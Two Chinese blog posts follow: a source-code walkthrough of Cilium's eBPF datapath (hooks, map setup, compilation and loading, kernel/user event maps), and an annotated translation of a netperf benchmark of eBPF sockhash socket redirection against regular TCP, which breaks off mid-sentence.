在详细阐述每个模块源码之前,我们先来复习一下linux kernel的网络栈 如图所示,入口网络流量在到达NIC后,依次经过XDP、TC、Netfilter、TCP、socket层。 cilium的ebpf相关程序,核心功能是针对pod宿主机、pod、容器几个角色之间的网络流量管控。那么其功能肯定是在这几个栈的对应部位做响应hook。 常用的nftables、iptables模块对应在Netfiliter层,站在安全的视角里,HOOK点如何选择,选在那一层,需要结合安全需求来确定。 XDP XDP BPF hook 是网络驱动程序中最早的一关,可以在接收到数据包时触发BPF程序。在这里实现了最高效的数据包处理。这个HOOK非常适合运行过滤程序来处理恶意或意外流量,以及实现常见的 DDOS保护机制。 Traffic Control Ingress/Egress 显然,是附加到流量控制 (TC) Ingress HOOK的BPF程序,与XDP类似,区别是其在网络堆栈完成后,数据包初始处理后运行。此HOOK在内核整个网络堆栈的L3层之前运行,可以读取与数据包关联的大部分元数据。很适合进行本地节点处理,比如应用L3/L4端点策略进行流量重定向等。 容器场景常使用veth pair的虚拟设备,它充当容器与主机的虚拟网桥。通过attach到这个veth pair的宿主机的TC Ingress钩子,Cilium 可以监控管理容器的所有流量。 socket operations sockops Hook是attach到特定的cgroup上,在TCP事件上一并运行。Cilium的实现是把BPF sockops程序attach到根cgroup上,来监视TCP状态转换,进行相关业务处理。 socket 发送/接收 该钩子在TCP socket执行的每个发送操作上运行。这个钩子可以对消息进行读取、删除、重定向到另一个socket。(PS:笔者说一句,这个就很可怕,在安全场景里,这可以很简单得实现端口复用的后门程序。复用80端口,监听unix socket做木马后门,HIDS如何发现?) cilium的eBPF场景应用 Cilium使用上面几个Hook与几个接口功能相结合,创建了以下几个网络对象。 虚拟接口(cilium_host、cilium_net) 可选接口(cilium_vxlan) linux内核加密支持 用户空间代理(Envoy) eBPF Hooks 预过滤器 prefilter XDP层实现的网络流量过滤过滤器规则。比如,由Cilium agent提供的一组CIDR映射用于查找定位、处理丢弃等。 endpoint策略 Cilium endpoint来继承实现。使用映射查找与身份和策略相关的数据包,该层可以很好地扩展到许多端点。根据策略,该层可能会丢弃数据包、转发到本地端点、转发到服务对象或转发到 L7 策略对象以获取进一步的L7规则。这是Cilium数据路径中的主要对象,负责将数据包映射到身份并执行L3和L4策略。 Service TC栈上的HOOK,用于L3/L4层的网络负载均衡功能。 L3 加密器 L3层处理IPsec头的流量加密解密等。 Socket Layer Enforcement socket层的两个钩子,即sockops hook和socket send/recv hook。用来监视管理Cilium endpoint关联的所有TCP套接字,包括任何L7代理。 L7 策略 L7策略对象将代理流量重定向到Cilium用户空间代理实例。使用Envoy实例作为其用户空间代理。然后,根据配置的L7策略转发流量。 如上组件是Cilium实现的灵活高效的 datapath。下图展示端点到端点的进出口网络流量经过的链路,以及涉及的cilium相关网络对象。 总结 综合C的代码,从数据流向来看,分为两类 用户态向内核态发送控制指令、数据 内核态向用户态发送数据 第一部分,cilium调用类bpftool工具来进行eBPF字节码注入。(具体实现的方式,go代码分析时会讲到); LB部分,会直接向map写入数据内容。(lb.h) 第二部分是内核向用户态发送数据,而数据内容几乎都是其他eBPF的运行日志。尤其是dbg.h里定义的cilium_dbg* 方法,实现了skb_event_output()和xdp_event_output()两种函数输出,来代替trace_printk()函数,方便用户快速读取日志。两种函数对应的事件输出都是用了perf buf类型的map来实现,对应go代码里做了详细的实现,抽象的非常好,后面笔者会重点介绍。 cilium go源码分析 eBPF map初始化 上面提到Cilium Daemon是管理eBPF的模块,那么从这个模块的入口文件开始阅读。 ebpf map是在ebpf prog加载之前,预先初始化的,在daemon/cmd/daemon.go469行 err = d.initMaps() initMaps函数实现在daemon/cmd/datapath.go文件的272行。 // initMaps opens all BPF maps (and creates them if they do not exist). This // must be done *before* any operations which read BPF maps, especially // restoring endpoints and services. func (d *Daemon) initMaps() error { lxcmap.LXCMap.OpenOrCreate() ipcachemap.IPCache.OpenParallel() metricsmap.Metrics.OpenOrCreate() tunnel.TunnelMap.OpenOrCreate() egressmap.EgressMap.OpenOrCreate() eventsmap.InitMap(possibleCPUs) signalmap.InitMap(possibleCPUs) policymap.InitCallMap() } initMaps函数中初始化了cilium的所有eBPF map,功能包括xdp、ct等网络对象处理。 eBPF maps作用博主rexrock在文章 https://rexrock.github.io/post/cilium2/中做个直观的图,见 本文挑选其中一个例子来讲。就是前提提到的events maps初始化,用于内核的ebpf字节码调试输出的日志,对应代码eventsmap.InitMap(possibleCPUs)。 代码文件在pkg/map/eventsmap/eventsmap.go的53行 eventsMap := bpf.NewMap(MapName, bpf.MapTypePerfEventArray, &Key{}, int(unsafe.Sizeof(Key{})), &Value{}, int(unsafe.Sizeof(Value{})), MaxEntries, 0, 0, bpf.ConvertKeyValue, ) 从代码中可以看到,map名字是cilium_events,类型是MapTypePerfEventArray。 eBPF代码编译 回到daemon/cmd/daemon.go文件,接着往下看,在816行对eBPF应用场景进行初始化。 err = d.init() //跳转到285行的init函数 // Remove any old sockops and re-enable with _new_ programs if flag is set sockops.SockmapDisable() sockops.SkmsgDisable() 对新老map进行删除、替换。 在237行进行datapath的重新初始化加载。 if err := d.Datapath().Loader().Reinitialize(d.ctx, d, d.mtuConfig.GetDeviceMTU(), d.Datapath(), d.l7Proxy); err != nil { datapath初始化ebpf环境 Reinitialize函数是抽象的interface的函数,具体实现在pkg/datapath/loader/base.go的230行 该函数前半部分对启动参数进行整理汇总。核心逻辑在421行。 prog := filepath.Join(option.Config.BpfDir, "init.sh") cmd := exec.CommandContext(ctx, prog, args...) cmd.Env = bpf.Environment() if _, err := cmd.CombinedOutput(log, true); err != nil { return err } 是的,你没看错,调用了外部的shell命令进行ebpf代码编译。对应文件是bpf/init.sh,这个shell里会进行编译ebpf文件。 比如:bpf_compile bpf_alignchecker.c bpf_alignchecker.o obj "" ,生成eBPF字节码.o文件。后面将用于校验C跟GO的结构体对齐情况。 bpf_compile也是封装的clang的编译函数,依旧使用llvm\llc编译链接eBPF字节码文件。 eBPF字节码加载 同样bpf/init.sh也会对bpf/*.c进行编译,再调用tc等命令,对编译生成的eBPF字节码进行加载。 其次,go代码里也有加载的地方,见pkg/datapath/loader/netlink.go的replaceDatapath函数内91行使用ip 或tc 命令对字节码文件进行加载,使内核加载新的字节码。完成新老字节码的注入替换。 C跟go结构体格式校验 430行,使用go代码,验证C跟G结构体对齐情况。 alignchecker.CheckStructAlignments(defaults.AlignCheckerName) 在pkg/alignchecker/alignchecker.go里,CheckStructAlignments函数会读取.o的eBPF字节码文件,按照elf格式进行解析,并获取DWARF段信息,查找.debug_*段或者.zdebug_段信息。 getStructInfosFromDWARF函数会按照elf里段内结构体名字与被检测结构体名字进行对比,验证类型,长度等等。 ebpf编译加载的其他方式 在pkg/datapath/loader/base.go210行左右reinitializeXDPLocked函数 调用compileAndLoadXDPProg函数进行ebpf字节码编译与加载。 // compileAndLoadXDPProg compiles bpf_xdp.c for the given XDP device and loads it. func compileAndLoadXDPProg(ctx context.Context, xdpDev, xdpMode string, extraCArgs []string) error { args, err := xdpCompileArgs(xdpDev, extraCArgs) if err != nil { return fmt.Errorf("failed to derive XDP compile extra args: %w", err) } if err := compile(ctx, prog, dirs); err != nil { return err } if err := ctx.Err(); err != nil { return err } objPath := path.Join(dirs.Output, prog.Output) return replaceDatapath(ctx, xdpDev, objPath, symbolFromHostNetdevEp, "", true, xdpMode) } 函数中,先进行参数重组,在调用pkg/datapath/loader/compile.go的compile函数进行编译。该函数依旧是调用了clang进行编译。 其他代码细节不在赘述。 go源码分析总结 编译:直接或间接调用clang/llc命令进行编译链接。 加载:调用外部bpftool\tc\ss\ip等命令加载。 MAP管理:调用外部命令或go cilium/ebpf库进行map删除、创建等 CORE兼容:会在每个endpoint上编译,没有使用eBPF CORE。 更新:每次重新加载都会编译。 内核态与用户态数据交互 交互map 名字 类型 所属文件 数据流向 备注 SIGNAL_MAP BPF_MAP_TYPE_PERF_EVENT_ARRAY signal.h ? LB4_REVERSE_NAT_SK_MAP BPF_MAP_TYPE_LRU_HASH bpf_sock.c ? LB6_REVERSE_NAT_SK_MAP BPF_MAP_TYPE_LRU_HASH bpf_sock.c ? CIDR4_HMAP_NAME BPF_MAP_TYPE_HASH bpf_xdp.c ? CIDR4_LMAP_NAME BPF_MAP_TYPE_LPM_TRIE bpf_xdp.c CIDR6_HMAP_NAME BPF_MAP_TYPE_HASH bpf_xdp.c CIDR6_LMAP_NAME BPF_MAP_TYPE_LPM_TRIE bpf_xdp.c bytecount_map BPF_MAP_TYPE_HASH bytecount.h cilium_xdp_scratch BPF_MAP_TYPE_PERCPU_ARRAY xdp.h EVENTS_MAP BPF_MAP_TYPE_PERF_EVENT_ARRAY event.h IPV4_FRAG_DATAGRAMS_MAP BPF_MAP_TYPE_LRU_HASH ipv4.h LB6_REVERSE_NAT_MAP BPF_MAP_TYPE_HASH lb.h LB6_SERVICES_MAP_V2 BPF_MAP_TYPE_HASH lb.h ENDPOINTS_MAP BPF_MAP_TYPE_HASH maps.h METRICS_MAP BPF_MAP_TYPE_PERCPU_HASH maps.h POLICY_CALL_MAP BPF_MAP_TYPE_PROG_ARRAY THROTTLE_MAP BPF_MAP_TYPE_HASH EP_POLICY_MAP BPF_MAP_TYPE_HASH_OF_MAPS maps.h ? Map to link endpoint id to per endpoint cilium_policy map POLICY_MAP BPF_MAP_TYPE_HASH maps.h ? Per-endpoint policy enforcement map EVENTS_MAP BPF_MAP_TYPE_SOCKHASH bpf_sockops.h ? 太多了,而且比较偏向cilium的业务功能,偏离本文主题,不写了。后面会按照数据流向分三类,总结说明。 map作用分类 内核态自用 常用与程序内部的临时缓存。比如__section("cgroup/connect4")时,TCP socket的状态每次变化,都需要将之前endpoint信息存储起来,下次状态变化时,再读取更改。 举个例子🌰 //bpf/sockops/bpf_sockops.c line 127 __section("sockops") int bpf_sockmap(struct bpf_sock_ops *skops) { // 调用bpf_sock_ops_ipv4 函数 sock_hash_update(skops, &SOCK_OPS_MAP, &key, BPF_NOEXIST); } //bpf/sockops/bpf_redir.c line 42 __section("sk_msg") int bpf_redir_proxy(struct sk_msg_md *msg) { msg_redirect_hash(msg, &SOCK_OPS_MAP, &key, flags); } 内核态写,用户态读 有个典型的场景,就是eBPF字节码运行日志的输出。以cilium events map为例,该map是内核态代码的日志输出map。 EVENTS_MAP map创建 MapName = "cilium_events" //eventsmap.go line 19 eventsMap := bpf.NewMap(MapName, bpf.MapTypePerfEventArray, &Key{}, int(unsafe.Sizeof(Key{})), &Value{}, int(unsafe.Sizeof(Value{})), MaxEntries, 0, 0, bpf.ConvertKeyValue, ) map的路径会被拼接,最终全路径时/sys/fs/bpf/tc/globals/cilium_events, // Path to where bpffs is mounted , /sys/fs/bpf mapRoot = defaults.DefaultMapRoot // Prefix for all maps (default: tc/globals) mapPrefix = defaults.DefaultMapPrefix m.path = filepath.Join(mapRoot, mapPrefix, name) // 即 /sys/fs/bpf/tc/globals/cilium_events 拼接好map路径后,调用os.MkdirAll创建/sys/fs/bpf/tc/globals目录;调用CreateMap函数,使用unix.Syacall创建BPF_MAP_CREATE操作的FD; ret, _, err := unix.Syscall( unix.SYS_BPF, BPF_MAP_CREATE, uintptr(unsafe.Pointer(&uba)), unsafe.Sizeof(uba), ) 调用objPin对map ID和cgroup path绑定,保存到pkg/bpf/map_Register_linx.go的mapRegister Map里,完成整个map的创建、关联。 map数据写入 map内数据写入是由dbg.h内cilium_dbg*相关函数写入,代码参见 static __always_inline void cilium_dbg(struct __ctx_buff *ctx, __u8 type, __u32 arg1, __u32 arg2) { struct debug_msg msg = { __notify_common_hdr(CILIUM_NOTIFY_DBG_MSG, type), .arg1 = arg1, .arg2 = arg2, }; ctx_event_output(ctx, &EVENTS_MAP, BPF_F_CURRENT_CPU, &msg, sizeof(msg)); } 其中,写入的map名字是EVENTS_MAP常量,定义在bpf/node_config.h里,默认是test_cilium_events,需要总控远程下发这个头文件。方便由go这边统一控制map的名字。详细代码在pkg/datapath/linux/config/config.go里WriteNodeConfig函数部分。比如 cDefinesMap["EVENTS_MAP"] = eventsmap.MapName cDefinesMap["SIGNAL_MAP"] = signalmap.MapName cDefinesMap["POLICY_CALL_MAP"] = policymap.PolicyCallMapName cDefinesMap["EP_POLICY_MAP"] = eppolicymap.MapName cDefinesMap["LB6_REVERSE_NAT_MAP"] = "cilium_lb6_reverse_nat" cDefinesMap["LB6_SERVICES_MAP_V2"] = "cilium_lb6_services_v2" 回到cilium_dbg函数,是内核eBPF部分最底层的日志事件输出函数,map声明在bpf/lib/events.h struct bpf_elf_map __section_maps EVENTS_MAP = { .type = BPF_MAP_TYPE_PERF_EVENT_ARRAY, .size_key = sizeof(__u32), .size_value = sizeof(__u32), .pinning = PIN_GLOBAL_NS, .max_elem = __NR_CPUS__, }; 调用的地方比较简单,不在一一赘述。 小结 map名统一由go部分控制,起到统一管理作用,避免两端不一致。 事件日志/调试日志避开trace_printk函数输出,统一发送至用户态go部分,避免人工查看/sys/kernel/debug/tracing/trace_pipe,提升工作效率。 由go部分决策如何处理。比如发送给相关模块订阅的角色,或者统一上传到日志中心,便于大规模分析展示。这是个可以借鉴的好思路。 map数据读取 在monitor/agent/agent.go里,初始化时对map进行了pin操作。 笔者要吐槽的是cilium_events map名字的常量是eventsMapName,这跟创建map时用的pkg/maps/eventsmap/eventsmap.go下的MapName不是同一个,而是重新定义一个。影响代码分析。 path := oldBPF.MapPath(eventsMapName) eventsMap, err := ebpf.LoadPinnedMap(path, nil) 在handleEvents函数中进行事件读取,并对异常错误进行计数,用作数据完整性校对。(笔者还没细跟进) func (a *Agent) processPerfRecord(scopedLog *logrus.Entry, record perf.Record) { a.Lock() defer a.Unlock() if record.LostSamples > 0 { // 丢失数据大小统计 a.MonitorStatus.Lost += int64(record.LostSamples) // 通知所有内部消费者,告诉他们数据丢失部分大小 a.notifyPerfEventLostLocked(record.LostSamples, record.CPU) // 存入外部订阅者队列,在队列的消费处,发送给所有监听者 a.sendToListenersLocked(&payload.Payload{ CPU: record.CPU, Lost: record.LostSamples, Type: payload.RecordLost, }) } // ... } 这里的事件发送分为两种接受者 monitor进程内部的消费者,抽象为consumer.MonitorConsumer,比如数据丢失监控、事件处理dispather派发器等。对应consumers属性,使用RegisterNewConsumer函数来注册为消费者。 monitor进程外部的订阅者,抽象为listener.MonitorListener,比如与其交互的外部进程,远程数据数据库、中心事件处理总控等。对应newListener属性,使用RegisterNewListener函数注册,目前只支持自定义的Version1_2,方便以后扩展。 不管是consumer还是listener,都是一对多的关系,遍历多个consumers\listener进行发送。 cilium的配套可视化组件Hubble就是作为其中一个consumer来接收数据的。 对于事件的进程外部发送,cilium采用本地unix socket的方式,监听/var/run/cilium/monitor1_2.sock,来支持本机进程间数据通讯。 func ServeMonitorAPI(monitor *Agent) error { listener, err := buildServer(defaults.MonitorSockPath1_2) if err != nil { return err } s := &server{ listener: listener, monitor: monitor, } log.Infof("Serving cilium node monitor v1.2 API at unix://%s", defaults.MonitorSockPath1_2) go s.connectionHandler1_2(monitor.Context()) return nil } 小结 对于内核态程序、稳定性质量做监控,结合内核态数据对服务更好的掌控。 事件的派发角色需要结合业务,进程内消费角色如何划分(对账、解码),进程间消费角色如何设计,多版本升级,通许协议如何设计等。 cilium在代码层面,角色功能上做了非常好的抽象,扩展性比较好。比如MonitorListener接口设计时,只规范了Enqueue(pl *payload.Payload)、Version() Version、Close()三个方法,实现的时候,可以随意扩展。 用户态写,内核态读 以XDP层的IP过滤为例,对应map path : cilium_cidr_v4_dyn,来给大家讲一下这个场景。 事件触发是由HTTP接口接收控制指令触发的,在daemon/cmd/prefilter.go的55行附近,patchPrefilter.Handle函数接收HTTP request,读取策略文件中的CIDRs,准备调用preFilter.Insert写入到eBPF Maps中。 reFilter.Insert是接口函数,抽象的实现在pkg/datapath/prefilter/prefilter.go119行Insert函数中实现。 打开 CIDRs写入到eBPF maps里之前,先进行map选择 for _, cidr := range cidrs { ones, bits := cidr.Mask.Size() which := p.selectMap(ones, bits) if which == mapCount || p.maps[which] == nil { ret = fmt.Errorf("No map enabled for CIDR string %s", cidr.String()) break } err := p.maps[which].InsertCIDR(cidr) if err != nil { ret = fmt.Errorf("Error inserting CIDR string %s: %s", cidr.String(), err) break } else { undoQueue = append(undoQueue, cidr) } } 循环遍历CIDRs,每个IP都判断是IPv4还是IPv6,选择对应的map,准备写入。写入的map在PreFilter.initOneMap函数里做了初始化读取。 先判断IP的类型prefixesV4Dyn、prefixesV4Fix、prefixesV6Dyn、prefixesV6Fix,再调用pkg/maps/cidrmap/cidrmap.go中147行cidrmap.OpenMapElems函数打开当前map。 打开map时,会先尝试创建bpf.MapTypeLPMTrie类型(也就是BPF_MAP_TYPE_LPM_TRIE类型)的map,若不支持,则改为MapTypeHash类型,来兼容低版本内核的linux。 写入 PreFilter.Insert调用CIDRMap.InsertCIDR,再调用bpf.UpdateElement写入相应CIDRs。 内核态读取 在bpf/bpf_xdp.c的check_v4函数中,map_lookup_elem函数查找CIDR4_LMAP_NAMEeBPF map,若包含在内,则直接返回CTX_ACT_DROP丢弃包。 #ifdef CIDR4_LPM_PREFILTER if (map_lookup_elem(&CIDR4_LMAP_NAME, &pfx)) return CTX_ACT_DROP; #endif 这段代码在__section("from-netdev")段运行,起到XDP层就可以过滤IP的作用。 CIDR4_LMAP_NAME常量就是对应的cilium_cidr_v4_dyn eBPF map ,老样子,也是由go层的代码生成的filter_config.h头文件,会把CIDR4_LMAP_NAME改为全路径的cilium_cidr_v4_dyn。 其中,go部分生成头文件的地方在pkg/datapath/prefilter/prefilter.go的59行WriteConfig函数里。 fmt.Fprintf(fw, "#define CIDR4_LMAP_NAME %s\n", path.Base(p.maps[prefixesV4Dyn].String())) 小结 eBPF map可以做内核态用户态数据交互 不同数据类型,选择不同的eBPF map类型,LPMTrie与HASH当前类库都支持。 在自己的项目中,也可以考虑内核态做基本的过滤策略,且策略内容可以动态下发。 总结 Cilium产品是面向微服务场景下的网络管理方案,涉及的安全也只是网络链路的可达性。对系统安全几乎没有涉猎。 但该产品是使用eBPF技术大规模应用的优秀项目之一,分析学习他的实现,可以帮助我们快速理解eBPF在go语言中的使用技巧。 通过笔者的分析学习,可以宏观的了解到Cilium在eBPF内核技术使用时,场景覆盖网络处理的XDP、TC、SOCKET等L3、L4、L7层,业务覆盖防火墙、网络路由、网络隔离、负载均衡等。通过集中式管理eBPF文件源码,下发到各endpoint分发式编译挂载。调试日志作为eBPF map事件统一收集处理。 支持用户态、内核态相互之间用eBPF map做双向通讯,实现策略下发与数据收集。具备数据对账、监控告警能力。 不足的地方在资源占用、熔断机制等功能。但考虑到cilium是宿主机上主要业务,CPU、内存等资源优先使用,对熔断机制需求不强烈。 这点不同于HIDS等安全防御产品,需要让资源给业务,严格控制自身资源使用。 2021-12-09 +1 5 0
[译]使用eBPF(绕过 TCP/IP)加速云原生应用程序的经验教训 译者注 本文翻译自 使用eBPF加速云原生应用程序的经验教训 ,前篇文章为How to use eBPF for accelerating Cloud Native applications,已经由国内博主ArthurChiao翻译+实践整理给出:[译] 利用 ebpf sockmap/redirection 提升 socket 性能 本文对比了eBPF绕过TCP/IP栈与普通TCP协议两种模式下,网络通讯的吞吐量、延迟、事务量等指标。 其技术原理在上篇中已经讲过,本篇的技术难度不大,译者参考原文,进行环境搭建,编码测试,根据自己的测试结果,对原文进行更加深刻的解读。 eBPF与主机安全 译者从事IDC的安全防御检测类产品研发,包括主机层面的入侵检测系统等。IDC领域,随着容器化技术不断演进,早已从主机时代转化到容器时代。而主机安全的研发思维,还停留在主机时代。比如: 物理机、虚拟机时代:进程间通讯是IPC、unixdomain socket,而容器化下,是GRPC\HTTP。 容器化时代:利用高效的eBPF技术做网络隔离,重新规划,能否应付得来 容器化时代:同一个宿主机上多个容器通讯,TCP改为本地socket转发(类似本文的技术) 当容器化技术依赖越来越多的内核新技术eBPF后,HIDS产品的检测技术,该如何演进? 木马后门利用了eBPF技术后,端口复用等问题变得相当容易,也没有独立的进程,没特征,HIDS产品该如何去发现? 翻译目的 带着这些问题,译者开始学习eBPF相关知识,为了更快更好的掌握eBPF,译者采用边学边动手的方式,来加快对新技术的理解,加深知识点的记忆。在学习过程过,感谢博主ArthurChiao 的一系列博文。 译者的开发环境 MacOS Big Sur 11.6 VMware Fusion 12.1.2 UBUNTU 21.04 server版的虚拟服务器(分配2核CPU,4G内存) 安装步骤 镜像地址: http://tw.archive.ubuntu.com/ubuntu-cd/hirsute/ubuntu-21.04-live-server-amd64.iso 安装相应工具包、类库 sudo apt-get install -y make gcc libssl-dev bc libelf-dev libcap-dev clang gcc-multilib llvm libncurses5-dev git pkg-config libmnl-dev bison flex graphviz sudo apt-get install -y make gcc clang llvm git pkg-config dpkg-dev gcc-multilib 修改apt源 修改源 /etc/apt/sources.list ,便于下载kernel源码 deb-src http://archive.ubuntu.com/ubuntu hirsute main deb-src http://archive.ubuntu.com/ubuntu hirsute- main sudo su apt update apt-get source linux-image-$(uname -r) apt-get source linux-image-unsigned-$(uname -r) apt install libbfd-dev libcap-dev zlib1g-dev libelf-dev libssl-dev 编译 bpftool 工具 cd /home/cfc4n/download/linux-5.11.0/tools/bpf/bpftool make sudo make install 编译bpf字节码 cd ~/project/os-eBPF/sockredir cfc4n@vmubuntu:~/project/os-eBPF/sockredir$ clang -O2 -g -target bpf -I /usr/include/linux/ -I /usr/src/linux-headers-5.11.0-37/include/ -c bpf_sockops_v4.c -o bpf_sockops_v4.o 加载bpf字节码 root@vmubuntu:/home/cfc4n/project/os-eBPF/sockredir# bpftool prog load bpf_sockops_v4.o "/sys/fs/bpf/bpf_sockops" libbpf: elf: skipping unrecognized data section(8) .rodata.str1.1 root@vmubuntu:/home/cfc4n/project/os-eBPF/sockredir# bpftool cgroup attach "/sys/fs/cgroup/unified/" sock_ops pinned "/sys/fs/bpf/bpf_sockops" 测试工具 netperf是本文的测试工具,安装方式 sudo apt install netperf netperf -V Netperf version 2.7.0 操作系统版本 uname -a Linux vmubuntu 5.11.0-37-generic #41-Ubuntu SMP Mon Sep 20 16:39:20 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux Linux内核TCP参数 拥塞控制 cat /proc/sys/net/ipv4/tcp_congestion_control cubic 接收缓冲区 buffer size 最小、默认、最大 cfc4n@vmubuntu:~$ cat /proc/sys/net/ipv4/tcp_rmem 4096 131072 6291456 发送缓冲区 cfc4n@vmubuntu:~$ cat /proc/sys/net/ipv4/tcp_wmem 4096 16384 4194304 eBPF TCP链路绕过实现 译文与原文 展示了如何编写简单的BPF程序实现socket level 重定向(redirection)。对于源和目的端都在同一台宿主机器的应用来说,可以实现绕过整个TCP/IP协议栈,直接将数据发送到 socket对端。效果如下图 译者注:在大公司的基础组件部门,可以在宿主机上,自动实现网络加速,不需要业务层根据不同环境而去分别实现unix domain socket和TCP两种sockt。大大减轻业务压力,提升基础架构部门的效率。 原文 我们多数客户对我们的服务有极高的性能SLA需求,我们也不断投资于性能增强以提高我们的服务质量。我们研究的其中一项技术就是eBPF,用于加速后端各种微服务之间的通信。 由于业界很少有文章全面介绍如何使用eBPF,我们决定与大家分享我们学到的知识。 这是由两部分组成的博客系列的第二部分,我们将在其中详细分享我们如何利用 eBPF 进行网络加速以及我们在此过程中所做的一些有趣观察。 在之前的博文中,我们分享 如何编写用于套接字数据重定向的 eBPF代码 以及如何使用 bpftool 将生成的eBPF字节码注入内核。在这篇文章中,我们深入探讨了从常规 TCP/IP 切换到eBPF后的各种性能提升。 使用 eBPF 进行网络加速——性能评估 一旦我们可以使用eBPF实现绕过TCP/IP堆栈,就必须要看到性能提升后的效果。为此,我们使用了较为知名的测量网络性能的工具netperf来评估吞吐量、延迟和事务率方面的收益。我们在以下两种情况下使用netperf评估了这些指标 : 流量正常通过TCP/IP堆栈, 流量使用eBPF sockhash映射重定向绕过TCP/IP堆栈 测试配置 测试设置如下: 在 MacOS High Sierra 上运行的 VirtualBox 6.1 上的 Ubuntu Bionic 18.04.03 LTS Linux 内核 5.3.0-40-generic TCP 设置 拥塞控制:cubic recv() 调用的默认缓冲区大小:131072 Bytes send() 调用的默认缓冲区大小:16384 Bytes MSS最大报文段长度(Maximum Segment Size):65483 Bytes netperf 2.6.0 测试步骤 网络吞吐测试 使用netserver服务端和netperf客户端进行60秒的各种发送消息大小的吞吐量测试: netserver -p 1000 netperf -H 127.0.0.1 -p 1000 -l 60 -- -m $msg_size 网络延迟测试 使用netperf命令,执行时长参数为60秒的各种请求和响应消息大小,进行延迟测量(第 50、90 和 99%): netserver -p 1000 netperf -P 0 -t TCP_RR -H 127.0.0.1 -p 1000 -l 60 -- -r $req_size, $resp_size -o P50_LATENCY, P90_LATENCY, P99_LATENCY 网络事务率测试 使用netperf命令来测试60秒运行的各种请求和响应消息大小的事务率: netserver -p 1000 netperf -t TCP_RR -H 127.0.0.1 -p 1000 -l 60 -- -r $req_size, $resp_size 测试结果 网络吞吐量结果 吞吐量:eBPF sockhash修改过的TCP/IP与常规TCP/IP比较 上图显示了eBPF sockhash修改过的TCP/IP与常规TCP/IP堆栈的吞吐量对比。比较有趣得是吞吐量的性能增长对于使用eBPF的发送请求消息大小是线性的。因为当应用程序在发送较大的消息时,几乎没有开销。 这结果与大家的认知不一致:会好奇为什么与常规TCP/IP路径相比吞吐量性能很差。事实证明,罪魁祸首是默认情况下在 TCP/IP堆栈中启用了Nagle算法。引入Nagle算法是为了解决小数据包淹没慢速网络从而导致拥塞的问题。因为如果它小于TCP MSS的大小,算法只需要一个TCP段是未完成的(未确认),在我们的测试中,这会导致TCP对数据进行批量传输。这种批处理会导致更多的数据传输和分摊开销,并且能够超过eBPF绕过TCP/IP的性能收益,它对每个发送调用缓冲区大小有固定的开销(见图7)。 当数据包大小接近TCP MSS时,常规TCP/IP没有合并发送的优势,TCP MSS中可以容纳的数据包更少(测试环境的MSS设置为65483 bytes)并通过以下方式发送到目的地TCP/IP内核堆栈。在这些大数据包发送大小下,eBPF凭借其低开销远远超过使用Nagle算法的TCP/IP堆栈的吞吐。接下来禁用Nagle算法(-D参数)来netperf重新测试: netserver -p 1000 netperf -H 127.0.0.1 -p 1000 -l 60 -- -m $msg_size -D 吞吐量:TCP/IP(禁用Nagle算法)与使用 eBPF sockhash 染过TCP/IP 禁用Nagle算法后,我们看到与eBPF sockhash重定向绕过相比,常规TCP的吞吐量优势完全消失。TCP/IP堆栈和eBPF sockhash映射的性能如预期的那样线性增加----eBPF比常规 TCP/IP具有更大的成长曲线,因为eBPF每次发送调用的固定成本开销。对于较大的发送消息大小和较小的 TCP MSS,这种性能差距更为明显。 译者测试结果 译者在测试时,把三种测试都集中在一张图里了。但测试使用TCP Nagle算法与eBPF绕过的差异并没有很大,而且也没有曲线上的交叉。译者暂时不清楚其中原因,大概是我测试的环境是macbook,恰恰同时我还在使用这台笔记本工作,导致了CPU、网络等不稳定吧。 吞吐量:eBPF VS TCP VS TCP-Disable-Nagle的比较 动态趋势图: 延迟测试结果 使用netperf重复我们的性能运行来测量延迟。我们测量了延迟的第50个、第90个和第99 个百分位数,这会改变发送和接收缓冲区(消息)的大小。测试结果里,使用中位数的延迟来显示趋势图。此外,我们还展示了64字节和256字节的不同请求消息大小的趋势。(请注意:netperf一次只有一个事务未完成。) 延迟测试:使用 eBPF sockhash绕过TCP/IP与常规TCP/IP 如图所示,eBPF sockhash绕过优于常规TCP/IP堆栈。其性能比常规 TCP/IP 堆栈高出近50%。考虑到eBPF通过将数据包从源socket的传输队列重定向到目标socket的接收队列,与TCP/IP中的那些相比,eBPF消除了任何协议级别的开销(慢启动、拥塞避免、流量控制等),这些优势带来的结果是显而易见的。此外,请求消息长度对延迟没有影响。我们没有尝试测量接近TCP MSS 的发送消息大小的延迟。 译者测试结果 译者对这个延迟指标也进行了测试,如下图 eBPF sockhash重定向与常规TCP堆栈的延迟对比 不管是64字节还是256字节的发送消息大小上,都比原生TCP的网络延迟更低。 虽然图表上的结果与原作者测试结果有一定差异,但整体分布比较均衡,也很清楚的体现出eBPF在低延迟上的优势。 动态趋势图 网络事务率 接下来,我们使用netperf继续测试事务率: 如果我们简单地将事务率曲线向左翻转,它们的趋势与延迟测量相同。 事务率:使用 eBPF sockhash重定向与TCP/IP 如图,针对不同的接收端消息大小绘制了各种发送消息请求大小的事务率。在延迟测量的情况下,我们看到事务率不受常规TCP/IP和eBPF sockhash重定向绕过以及请求响应消息大小的影响。 不同请求大小的事务率:TCP/IP vs TCP/IP bypass using eBPF sockhash map 译者测试结果 译者也进行了测试,只是测试环境不太稳定,macbook开的VM虚拟机,在性能测试的时候,同时还在用于办公。测试结果波动比较大,但总体来看,还是能从点的分布看得出eBPF与常规TCP的区别,深色的点是eBPF的结果,都分布在Y轴上面。浅色点是常规TCP的结果,都分布在Y轴下面。如下图: 动态图表 eBPF模式下网络吞吐量测试的内核开销 在下图中,我们绘制了当执行netperf吞吐量实验时eBPF sockhash映射绕过在内核中花费的时间。 可以看到对于256字节的发送消息大小,eBPF开销约为1.5秒,并且开销随着发送消息大小的增加而减少。 eBPF sockhash map重定向在内核中花费的时间 综述 eBPF确实是一项强大的技术,它允许从用户空间前所未有地访问Linux内核资源。当应用程序对延迟敏感时,使用eBPF绕过TCP/IP堆栈与同一主机上的另一个程序通信是一个最佳的使用场景。尤其是时下最热门的容器编排领域:在Kubernetes集群的同一pod中使用相互依赖的微服务就特别适合这个功能。也就是说,基于eBPF的TCP/IP绕过可以极大地减轻与使用RPC 和REST API进行大量通信的微服务相关的延迟。 我们还看到,虽然eBPF可以带来强大的性能提升,但盲目使用可能会产生意想不到的后果。具体来说,当我们只关心原始单向吞吐量时,使用默认设置,常规TCP/IP堆栈可以胜过eBPF(Nagle算法合并大量小包的情况)。 译者注:主机安全HIDS的未来趋势 正如本文演示的功能,用eBPF来解决K8S场景中,同一pod的多个docker 